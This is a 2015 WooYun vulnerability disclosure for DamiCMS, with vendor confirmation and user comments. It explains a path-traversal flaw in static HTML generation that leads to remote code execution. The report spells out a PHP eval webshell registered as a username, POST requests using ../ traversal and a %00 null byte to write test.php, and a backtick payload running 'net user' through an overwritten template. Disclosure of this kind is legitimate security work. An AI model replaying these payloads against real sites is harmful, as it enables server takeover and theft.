当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089724

漏洞标题:大米CMS命令执行可getshell

相关厂商:damicms.com

漏洞作者: zxx

提交时间:2015-01-12 10:06

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向第三方安全合作伙伴开放
2015-03-08: 细节向核心白帽子及相关领域专家公开
2015-03-18: 细节向普通白帽子公开
2015-03-28: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

开启使用静态时,导致命令执行

详细说明:

/Web/Lib/Action/ArticleAction.class.php

public function index()
{
if(!isset($_GET['aid']))
{
$this->error('非法操作');
}
inject_check($_GET['aid']);
inject_check($_GET['p']);
$aid = intval($_GET['aid']);
//读取数据库和缓存
ob_start();
//用于生成静态HTML
$is_build = C('IS_BUILD_HTML');
//允许参数
$allow_param = array('p','keyword');
$static_file ='./Html/'.cookie('think_template').'/articles/'.$aid;
$mid_str ='';
if(count($_REQUEST) >1)
{
foreach($_REQUEST as $k=>$v){
if($k != 'aid' && in_array($k,$allow_param)){
$mid_str .= '/'.$k.'/'.$v; //对v没有限制
}
}
}
$static_file .= ($mid_str .'.html'); // 这个变量可以控制的
$path = './ArticleAction.class.php';
$php_file = basename($path);
parent::html_init($static_file,$php_file,$is_build);
//以下是动态代码
。。。。
$this->display(TMPL_PATH.cookie('think_template').'/'.$page_model);
if($is_build ==1){ //当开启使用静态
$c = ob_get_contents();
if(!file_exists(dirname($static_file))){
@mkdir(dirname($static_file));
}
file_put_contents($static_file, $c); //文件写入$static_file中,但是内容不可控
}
}


这个问题在/Web/Lib/Action/IndexAction.class.php,/Web/Lib/Action/ListAction.class.php中也存在。但是现在我们只能覆盖原来的文件,最好的利用方法,就是覆盖php_safe.php(在可以%00截断的情况下),那么全局的sql注入过滤就废了。但是这样还有inject_check存在,不过瘾啊。
想办法控制$c吧。$c是从缓冲区获得了,也就是模板控制的。
发现了一个相关模板,可以有输入。
/Web/Tpl/default/page/page_product.html

<div class="qdfb">大名:<input name="author" class="button" type="text" value="<neq name='_SESSION.dami_username' value=''>{$_SESSION.dami_username}<else/>游客</neq>" id="Author"  maxlength="20" size="12"/>
//SEESION.dami_username 从session里取出来


碰巧damicms注册账号时候没有长度限制,但注册时时候会对信息用remove_xss,登陆时候有inject_check。所以我们的用户名也就是我们的payload也有一些限制,不能用逗号,单引号,而且因为输出位置特殊,用双引号也不行。
不过还好 我们的一句话不用这些<?php eval($_POST[x]);?> 注册完名字
看一下

QQ截图20150102151621.png

名字的地方已经有一句话了。
如果现在php版本合适,我们就可以直接%00生成shell了。
找一个产品的页面,因为产品的模板才能传payload过去。
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../test.php%00

QQ截图20150102152249.png


生成成功了。连接http://127.0.0.1/test.php

QQ截图20150102152334.png


但是如果不能截断呢,后缀只能是HTML,利用模板解析那一步执行一下命令吧,但是不能用' " , 所以只好用 反引号 试试了。 反引号会帮我们执行系统命令
注册用户名: <?php echo `net user`; echo 99; ?>
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../Web/Tpl/default/pl_pl
生成覆盖/Web/Tpl/default/pl_pl.html

QQ截图20150102153057.png

QQ截图20150102153217.png

漏洞证明:

可以截断,直接上传webshell:
注册姓名:<?php eval($_POST[x]);?>
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../test.php%00

QQ截图20150102152334.png


不能截断情况下,上传到html,然后利用模板解析执行命令:
注册用户名: <?php echo `net user`; echo 99; ?>
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../Web/Tpl/default/pl_pl
访问http://127.0.0.1/index.php?s=/pl/index&aid=127 这个aid对应文章是要有评论的

QQ截图20150102153217.png

修复方案:

限制$static_file目录

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-01-12 15:12

厂商回复:

路径未经控制可能导致安全风险

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-22 17:16 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    居然才给中?才给7?

  2. 2015-01-22 17:48 | zxx ( 实习白帽子 | Rank:57 漏洞数:23 | com)

    @wefgod 就是,码了这么多字~

  3. 2015-01-23 09:00 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @zxx 不厚道的厂商,想到了某个叫逐浪的